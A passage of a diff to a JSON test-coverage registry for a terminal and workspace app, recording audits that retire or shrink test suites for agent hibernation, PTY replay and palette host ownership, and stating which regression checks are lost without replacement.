+        "Audit3368 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts\",\n        \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts\",\n        \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts\",\n        \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts\"\n      ]",
+        "Audit3368 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        {\n          \"file\": \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts\",\n          \"assertions\": [\n            \"does not hibernate working or waiting agents across remote workspaces\",\n            \"requires host evidence after a skipped workspace completes during another inventory request\",\n            \"hibernates a runtime-backed candidate in %s with fresh liveness and exact PTYs\",\n            \"fails closed on truncated runtime liveness samples\",\n            \"fails closed when fresh runtime liveness rejects after an earlier good sample\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts\",\n          \"assertions\": [\n            \"requires host evidence when a workspace becomes runtime-owned during an inventory request\"\n          ]\n        }\n      ]",
+        "Audit3368 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        {\n          \"date\": \"2026-11-08\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2\",\n          \"currentCommand\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 5.426,\n          \"summary\": \"52 tests across the five coordinator/planner/age/foreground/liveness-race files passed on public parent60aee85d9182f602af45cf5f6facae7257670061 plus the audit2310 test-removal candidate (source tree da2595af5391e9fa07a924ac69afede47ad31906). Includes the reduced two-case pane-age suite. Scripted runtime contracts; no live SSH/native WSL, soak or measured p95 claim.\"\n        }\n      ]",
+        "Audit3368 historical original protection object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"partial\"",
+        "Audit3368 historical original coveredPlatforms object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"linux\"]",
+        "Audit3368 historical original coveredProviders object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"local\", \"remote-runtime\"]",
+        "Audit3368 historical original redGreenEvidence object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"complete\",\n        \"evidence\": \"Baseline made 101 runtime calls in the new no-completed-agent fixture; candidate makes zero. Existing confirmation, final recheck and failure-path assertions continue to pass, including completion during an outstanding request. Separately, baseline hibernated a workspace that became runtime-owned mid-inventory one tick early, taking its first confirmation from a pass planned entirely from client PTYs; candidate withholds that pass and requires two host-confirmed ones.\"\n      }",
+        "Audit3368 historical original flakeHistory object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"not-started\",\n        \"evidence\": \"Initial local validation; no CI soak history.\"\n      }"
       ],
       "promotionCriteria": [
         "Complete CI soak with zero unexplained flakes and preserve the observable oracle."
@@ -2207,6 +2164,9 @@
         "Exercise live SSH and paired-runtime snapshot adoption before claiming full provider coverage."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-connection-visibility-resume-size.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-reconnect-unimaged-pane-redraw.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-fit-overflow.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-flood-abandon.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-repaint-fallback.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-outcomes.test.ts, src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts. Intentionally lose these named regression alarms without replacement: catches a subscribed pane up once per mode change across repeated reconnects — Mode2031 theme reporting catch-up/deduplication across repeated reconnects loses this direct protocol example.; defers to the viewer holding the grid, then catches up once on release — Held-grid viewer deferral and one catch-up/current-mode resending on release lose this direct protocol example.; repairs grid drift with a trailing probe when output stops inside the settled interval — A trailing drift probe after the last output frame loses this direct alarm.; skips foreground grid drift repair while mobile owns the PTY without a fit override — Mobile driver ownership suppressing foreground drift repair without override loses this direct alarm.; reports desktop geometry without resizing while a mobile-fit override is active — Desktop geometry reporting without resizing a mobile-owned grid loses this direct alarm.; defers a remote-desktop viewport claim until structural replay completes — Remote-desktop viewport claim waiting for structural replay completion loses this direct alarm.; skips observed desktop reassertion while mobile owns the PTY without a fit override — Observed desktop reassertion suppression under mobile ownership loses this direct alarm.; queues re-asserted resizes while pane resize holds are active — Resize hold release flushing the latest reasserted grid loses this direct alarm.; reasserts a remote grid only when visible (%s) — Visible-only remote grid reassertion loses its visible and hidden examples.; claims a focused visible remote mirror once when its passive fit hold arrives — Focused visible passive mirror claiming once, with unfocused and late repeat suppression, loses this direct sequence alarm.; does NOT re-assert while a mobile-fit override parks the PTY at phone dims — Phone fit hold suppressing visibility-resume PTY reassertion loses this direct alarm.; does NOT forward when the pane is hidden again before getSize resolves (stale hop) — Late size lookup after re-hide refusing a hidden-tab SIGWINCH loses this direct adverse-ordering alarm.; holds the repaint for a hidden pane until it is revealed — Unimaged hidden pane deferring one-row repaint until reveal loses this direct alarm.; puts the row back once the host confirms the short grid, not when the client sent it — Short-grid host confirmation gating row restoration loses this direct alarm.; does not take the size back from a viewer that claimed it mid-repaint — A viewer claiming geometry mid-repaint preventing old-size restoration loses this direct alarm.; leaves a swapped-out PTY alone when its nudge is still pending — Swapped-out PTY avoiding a pending repaint nudge loses this direct alarm.; puts the row back when the pane unmounts mid-repaint — Unmount during repaint restoring the nudged row loses this direct alarm.; recovers $name live output when the deadline interrupts an answered snapshot — Answered-snapshot deadline interruption under overflow/small/partial/split-escape/styled/styled-gap/unmapped/unhide-gap/fresh-gap live output loses nine direct recovery examples.; [invariant] reconciles the retained bytes through the deferred post-flood repaint — Queue-overflow quiet abandonment later reconciling retained bytes or disclosing loss loses this direct invariant alarm.; [invariant] keeps recovery armed while the user reads scrollback — Recovery remaining armed during scrollback reading/background stint then following output loses this direct invariant alarm.; [invariant] reconciles the retained bytes after the iteration backstop fires — Iteration-cap quiet abandonment owing later reconciliation/disclosure loses this direct invariant alarm.; does not leave a parked repaint after a repeated episode is repaired — Repeated repaired episode not leaving a parked repaint loses this direct alarm.; keeps the deferred repaint when pending live bytes overflow before the snapshot drains — Pending-live overflow before snapshot drain preserving deferred repaint loses this direct alarm.; keeps the existing repaint behavior for a pending-cap marker — Pending-cap marker preserving deferred repaint behavior loses this direct alarm.; fetches a fresh snapshot when hidden bytes arrived during the first fetch — Bytes arriving hidden during fetch forcing a fresh snapshot loses this direct alarm.; keeps recovery pending after the first snapshot is %s — Rejected/unavailable first capture preserving pending recovery until retry and acknowledgement loses two direct examples.; [modern] repaints a recovered visible pane from the retained host buffer — Visible modern recovery repaint from the retained host snapshot loses this direct example.; [modern] accepts an empty snapshot as successful recovery without a loss banner — Empty modern snapshots counting as successful recovery without loss disclosure loses this direct example.; [modern] waits for a reported outcome instead of applying the old elapsed-time deadline — Modern pending recovery respecting reported outcomes beyond the old elapsed deadline loses this direct example.; [modern] banners on the seventh retry-worthy host answer and never sends an eighth request — Seventh retry-worthy answer causing disclosure and suppression of an eighth request loses this direct example.; [modern] does not spend the host answer budget on locally-gated retries — Locally-gated answers leaving the host-answer budget available loses this direct example.; [modern] still bounds locally-gated retries at their own cap — Repeated local gating eventually ending recovery and disclosing loss loses this direct example.; [modern] banners immediately on permanent unavailability without retrying — Permanent host unavailability immediately disclosing loss without retry loses this direct example.; [modern] cancels a live flood repaint when it declares the output unrecoverable — Unrecoverable declaration cancelling a later flood repaint loses this direct example.; [legacy] switches an explicit unknown-host answer to the existing four-request heuristic — Explicit unknown-host result switching to legacy recovery heuristic loses this direct example.; [modern] parks retry repaint while scrolled back and resumes when following output — Scrolled-back recovery parking until follow-output resumes loses this direct example.; clears the captured pen for a normal-buffer fallback reattach — Fallback normal-buffer reattach clearing captured pen and dirty background loses this direct example.; waits for a recovered destination fit before forwarding its grid or live output — Recovered destination fitting before forwarding grid or live output loses this direct example.; suppresses the deferred reattach grid push when mobile claims the PTY while hidden — Mobile takeover while hidden suppressing deferred reattach grid forwarding loses this direct example.; drops stale callbacks but delivers fresh replacement output after an old replay clear — Fresh replacement output winning over stale callbacks after old replay clear loses this direct example.; clears the mobile-fit pane binding when the pane connection is disposed — Pane dispose clearing the mobile-fit binding and PTY dataset loses this direct example.; continues post-spawn size reconcile after a transient mobile presence lock — Size reconciliation continuing after a transient phone-presence lock loses this direct example.; spawns the delayed primary pane of an issue-command split when its sibling owns the tab PTY fallback — Delayed primary split spawning independently after a sibling acquires tab fallback loses this direct example.; does not reuse a sibling split pane pending spawn after remount — Remounted primary adopting its own pending PTY rather than the sibling spawn loses this direct example.; replays a stable-pane adoption without submitting the resume command — Stable-pane adoption replay preserving replay-before-live ordering and suppressing resume command loses this direct example.; forwards focus and hover reports without claiming a parked mirror (#26469) — Passive focus/hover forwarding without stealing mirror ownership, then intended Ctrl+C/click claiming, loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm test src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"pnpm test src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts\",\n        \"pnpm test src/renderer/src/components/terminal-pane/pty-connection src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport\",\n        \"pnpm test src/shared/terminal/protocol/escape/terminal-synchronized-output-socket-splits.test.ts\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\n            \"startup output covered by the snapshot is painted once\",\n            \"new output remains visible\",\n            \"legacy unsequenced and blank snapshots retain bytes\"\n          ]\n        }\n      ]",
         "Audit3077 retires the IPC zero/nonzero snapshot-sequence and zero-keyboard-proof examples and their direct selectors. The retained join projects only sequence 7 and flags 3. No equivalent replacement or fresh gate execution is claimed.",
         "Audit3069 retires nominal spawn/resume/banner wiring, first-fit and lookup-budget variants, private pending-map checks, the split-CWD disposal suite and startup command/draft baseline variants. Distinct regression alarms are intentionally lost without equivalent replacement; retained ownership, cancellation and recovery cases remain. Existing selectors and dated evidence retain their original scope.",
         "Audit3061 retires the park-model supplied snapshot suite and nominal mode, cursor, focus, geometry and remote resume metadata variants. Their distinct alarms are intentionally lost; six retained mode/remote cases preserve selected tail-order, authority and parse-readiness boundaries without equivalent replacement. Existing selectors and dated evidence retain their original scope.",
@@ -2349,35 +2309,33 @@
       "providers": ["local", "ssh", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": [],
-      "coverageNotes": "Audit2729 reduces browser-page-palette-activation.test.ts: separate SSH/paired-runtime alias forwarding, distinct multigroup views accepted, and remote-folder activation forwarding alarms are removed. Collision refusal, preactivation address-bar focus capture, owning-group activation state and missing-tab refusal remain byte-identical. No equivalent replacement, fresh gate execution or actual host/browser delivery evidence is claimed. Prior coverage account: Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 reduces cmd-j-host-qualified-candidate-ownership.test.ts to the scoped open-tab hidden same-ID legacy ambiguity refusal. Separate browser/simulator paired-runtime alias and current-row projections, generic workspace host projection and hostless explicit-owner refusal examples are removed without equivalent replacement. No fresh gate execution, browser activation, physical host, simulator or remote delivery evidence is claimed. Historical dated receipts and budgets remain raw-byte exact. Prior coverage account: Audit1899 replays sealed Audit1895: workspace-session-schema.test.ts keeps only cross-workspace truncated-tab salvage and legacy browser-history cap normalization. Four current commands and testFiles retain that reduced source; no current assertionRef or active receipt selects it. SSH file-owner, isolated browser partition, launch/title/quick-command fields, recency, structured-chat/view-mode and remote browser identity hydration alarms are intentionally lost. Existing retired receipt strings and unrelated active receipts remain verbatim. No equivalent replacement, new Cmd-J gate execution, native simulator or remote/browser restore proof is claimed. Historical coverage account before Audit1899: Audit1494 removes use-open-tab-search.test.ts. Supplied host/worktree/title/ranking projections, simple subscription updates and result-array identity alarms are retired. No actual activation or navigation occurred in that suite. No equivalent replacement coverage or fresh Cmd-J gate validation is claimed. Historical receipts remain scoped to their original selectors. Audit1433 narrows worktree-checks-review-index.test.ts to same-ID local/SSH object-key review isolation. Local provider/cache lookup, GitLab preference, suppression/legacy fallback, explicit-PR authority, physical-versus-runtime review isolation, and branchless-workspace alarms are intentionally removed. No equivalent replacement coverage is claimed. Historical receipts and commands remain unchanged and do not certify the reduced source. Historical coverage account: Audit1396 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic candidate-builder contracts inject local and paired-runtime worktrees with the same bare id into the real aggregated tab buckets, including folder workspaces and a paired runtime transporting an SSH-owned worktree. A mirror contract preserves distinct same-id runtime tabs. A paired Electron journey verifies both visible browser rows and both visible simulator rows, then requires each selection to render its owning active tab and update backing host-qualified state. The test-value audit narrowed simulator-palette-search.test.ts to the recency tie, same-id host isolation, ambiguous legacy host rejection and oversized-input getter tripwire. Supplied timestamp, empty-query context ordering, host projection, alias/range, metadata matching, active-tab score, over-token/whitespace and malformed display-name fallback examples were removed. Their separate alarms are lost; retained candidate and activation contracts do not establish equivalent coverage. Historical run commands and results remain historical. The audit also removed the standalone workspace-tab-palette-search suite: supplied row, title, metadata, alias, range, ranking and ownership examples no longer provide their separate alarms. Other retained contracts are not replacement coverage. The mirror-identity fixture now retains same-id sibling-runtime isolation and the repeated-frame subscriber tripwire only. Supplied field, owner, alias and mapping examples are removed; their separate alarms are lost. The retained sibling-runtime case is not equivalent coverage for them. The test-value audit removed tabs-open-close-lifecycle host-stamping examples and ordinary tab/group operations from tabs-pane-layout-operations. Local-null, explicit-runtime and SSH-without-active-host stamp assertions are lost; retained mobile/MRU and subscriber/atomic split cases do not replace them. Candidate and live Cmd-J evidence retains its own scope. Historical commands, outcomes and narratives remain historical. Audit1308: src/renderer/src/lib/browser-palette-search.test.ts removed. Browser-palette token and pasted-query size-guard work alarms disappear. No equivalent replacement coverage is claimed. Audit1386: src/renderer/src/lib/open-mobile-emulator-tab.test.ts reduced. Duplicate attach count and null-tab creation retry/guard reset standalone alarms removed; no simulator device used. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1396: src/renderer/src/lib/simulator-palette-search.test.ts reduced. Lose simulator-specific lastFocusedAt tie-order alarm; identity/routing and pre-scan size fence remain. No native simulator or real remote launch claim. No equivalent replacement coverage is claimed. Audit1402: src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts reduced. Loses repeated no-op frame store-notification budget; independent cross-runtime resource preservation remains. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coverageNotes": "Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. The integrated mobile markdown close/frame-settlement case remains unchanged and is narrower. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2729 reduces browser-page-palette-activation.test.ts: separate SSH/paired-runtime alias forwarding, distinct multigroup views accepted, and remote-folder activation forwarding alarms are removed. Collision refusal, preactivation address-bar focus capture, owning-group activation state and missing-tab refusal remain byte-identical. No equivalent replacement, fresh gate execution or actual host/browser delivery evidence is claimed. Prior coverage account: Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 reduces cmd-j-host-qualified-candidate-ownership.test.ts to the scoped open-tab hidden same-ID legacy ambiguity refusal. Separate browser/simulator paired-runtime alias and current-row projections, generic workspace host projection and hostless explicit-owner refusal examples are removed without equivalent replacement. No fresh gate execution, browser activation, physical host, simulator or remote delivery evidence is claimed. Historical dated receipts and budgets remain raw-byte exact. Prior coverage account: Audit1899 replays sealed Audit1895: workspace-session-schema.test.ts keeps only cross-workspace truncated-tab salvage and legacy browser-history cap normalization. Four current commands and testFiles retain that reduced source; no current assertionRef or active receipt selects it. SSH file-owner, isolated browser partition, launch/title/quick-command fields, recency, structured-chat/view-mode and remote browser identity hydration alarms are intentionally lost. Existing retired receipt strings and unrelated active receipts remain verbatim. No equivalent replacement, new Cmd-J gate execution, native simulator or remote/browser restore proof is claimed. Historical coverage account before Audit1899: Audit1494 removes use-open-tab-search.test.ts. Supplied host/worktree/title/ranking projections, simple subscription updates and result-array identity alarms are retired. No actual activation or navigation occurred in that suite. No equivalent replacement coverage or fresh Cmd-J gate validation is claimed. Historical receipts remain scoped to their original selectors. Audit1433 narrows worktree-checks-review-index.test.ts to same-ID local/SSH object-key review isolation. Local provider/cache lookup, GitLab preference, suppression/legacy fallback, explicit-PR authority, physical-versus-runtime review isolation, and branchless-workspace alarms are intentionally removed. No equivalent replacement coverage is claimed. Historical receipts and commands remain unchanged and do not certify the reduced source. Historical coverage account: Audit1396 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic candidate-builder contracts inject local and paired-runtime worktrees with the same bare id into the real aggregated tab buckets, including folder workspaces and a paired runtime transporting an SSH-owned worktree. A mirror contract preserves distinct same-id runtime tabs. A paired Electron journey verifies both visible browser rows and both visible simulator rows, then requires each selection to render its owning active tab and update backing host-qualified state. The test-value audit narrowed simulator-palette-search.test.ts to the recency tie, same-id host isolation, ambiguous legacy host rejection and oversized-input getter tripwire. Supplied timestamp, empty-query context ordering, host projection, alias/range, metadata matching, active-tab score, over-token/whitespace and malformed display-name fallback examples were removed. Their separate alarms are lost; retained candidate and activation contracts do not establish equivalent coverage. Historical run commands and results remain historical. The audit also removed the standalone workspace-tab-palette-search suite: supplied row, title, metadata, alias, range, ranking and ownership examples no longer provide their separate alarms. Other retained contracts are not replacement coverage. The mirror-identity fixture now retains same-id sibling-runtime isolation and the repeated-frame subscriber tripwire only. Supplied field, owner, alias and mapping examples are removed; their separate alarms are lost. The retained sibling-runtime case is not equivalent coverage for them. The test-value audit removed tabs-open-close-lifecycle host-stamping examples and ordinary tab/group operations from tabs-pane-layout-operations. Local-null, explicit-runtime and SSH-without-active-host stamp assertions are lost; retained mobile/MRU and subscriber/atomic split cases do not replace them. Candidate and live Cmd-J evidence retains its own scope. Historical commands, outcomes and narratives remain historical. Audit1308: src/renderer/src/lib/browser-palette-search.test.ts removed. Browser-palette token and pasted-query size-guard work alarms disappear. No equivalent replacement coverage is claimed. Audit1386: src/renderer/src/lib/open-mobile-emulator-tab.test.ts reduced. Duplicate attach count and null-tab creation retry/guard reset standalone alarms removed; no simulator device used. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1396: src/renderer/src/lib/simulator-palette-search.test.ts reduced. Lose simulator-specific lastFocusedAt tie-order alarm; identity/routing and pre-scan size fence remain. No native simulator or real remote launch claim. No equivalent replacement coverage is claimed. Audit1402: src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts reduced. Loses repeated no-op frame store-notification budget; independent cross-runtime resource preservation remains. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-4965",
         "https://github.com/stablyai/orca/pull/15371"
       ],
       "invariant": "Candidate identity is the tuple of execution-host identity and worktree identity: same-id sibling hosts retain separate correct browser, simulator, and workspace tabs, each tab appears exactly once, and selection activates its owning host.",
-      "oracle": "Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 current retained source checks only that scoped open-tab search rejects hostless legacy browser, simulator and workspace tabs when a hidden same-ID sibling host remains in the ownership catalog. Reduced selectors require fresh validation; existing historical receipts do not validate the changed source. Prior oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Aggregate two hosts' tabs under one intentionally colliding worktree id, stamp each unified tab with its execution host, and require exactly one candidate per owner. Repeat with an SSH physical owner transported by a paired-runtime alias. Independently require each browser and simulator Cmd-J selection to update activeWorkspaceExecutionHostId plus its owning workspace/group and render the selected tab active. Ambiguous legacy tabs without ownership fail closed.",
+      "oracle": "Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. The integrated mobile markdown close/frame-settlement case remains unchanged and is narrower. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 current retained source checks only that scoped open-tab search rejects hostless legacy browser, simulator and workspace tabs when a hidden same-ID sibling host remains in the ownership catalog. Reduced selectors require fresh validation; existing historical receipts do not validate the changed source. Prior oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution 